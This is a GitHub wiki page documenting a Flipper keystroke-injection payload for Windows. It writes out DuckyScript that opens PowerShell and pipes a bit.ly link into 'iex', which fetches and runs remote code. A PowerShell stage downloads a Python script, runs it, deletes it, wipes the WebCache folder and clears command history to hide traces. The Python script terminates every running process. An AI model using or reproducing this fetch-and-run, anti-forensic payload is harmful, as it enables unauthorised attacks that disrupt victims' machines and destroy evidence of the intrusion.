Close All Applications Windows - aleff-github/my-flipper-shits GitHub Wiki
DuckyScript Documentation
This DuckyScript code closes all applications running on a Windows 10-11 system. It does this by executing a Python script that performs this action.
Execution
- The code waits for 2 seconds (
DELAY 2000
) - Presses the Windows key (
GUI x
) - Uses the arrow keys to navigate to the "Windows PowerShell" app (
DOWNARROW
x 10) - Opens the "Windows PowerShell" app by pressing
ENTER
- Waits for 1 second for the "Windows PowerShell" app to open (
DELAY 1000
) - Navigates to the command line by pressing
TAB
x 2 andENTER
- Waits for 2 seconds for the command line to be ready (
DELAY 2000
) - Downloads and executes a Python script that closes all running applications (
STRING irm bit.ly/CloseAllApplicationsScript | iex
andENTER
)
Notes
- This code requires an internet connection to download the Python script.
- The
irm
command used in this script is an alias forInvoke-RestMethod
.
PowerShell Documentation
This PowerShell script downloads a Python script from a URL, executes it, and then deletes the downloaded script. It also clears the download history from the system's web cache and clears the PowerShell command history.
Execution
- The code creates a variable called
$scriptUrl
and sets it to the URL where the Python script is hosted. It also creates a variable called$savePath
that stores the path to where the script will be saved on the local machine ($env:temp\script.py
).
$scriptUrl = "https://raw.githubusercontent.com/aleff-github/my-flipper-shits/main/CloseAllApplications_Windows/script.py"
$savePath = "$env:temp\script.py"
- The code downloads the Python script from the URL using the
DownloadFile
method of theSystem.Net.WebClient
object, and saves it to the specified$savePath
.
(New-Object System.Net.WebClient).DownloadFile($scriptUrl, $savePath)
- The code executes the Python script by calling the
python
command and passing the$savePath
variable as an argument.
& python $savePath
- The code removes the downloaded script using the
Remove-Item
cmdlet and passing the$savePath
variable as an argument.
Remove-Item $savePath
- The code clears the download history from the system's web cache using the
Remove-Item
cmdlet and passing the path to the web cache folder as an argument.
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\*" -Recurse -Force
- The code clears the PowerShell command history using the
Clear-History
cmdlet.
Clear-History
Notes
- This code requires an internet connection to download the Python script.
- This code requires Python to be installed on the system.
Python Documentation
This Python script uses the psutil
module to terminate all running processes on a system.
Requirements
The psutil
module is required to run this script. If it is not installed, the script will install it automatically using pip
.
Usage
To use this script, simply run it with Python. It will terminate all running processes on the system.
Code Explanation
The script starts by trying to import the psutil
module. If it is not installed, it installs it using pip
.
The script then loops through all running processes on the system and attempts to terminate each one.
If any errors occur during the termination process, they are ignored using a try/except
block.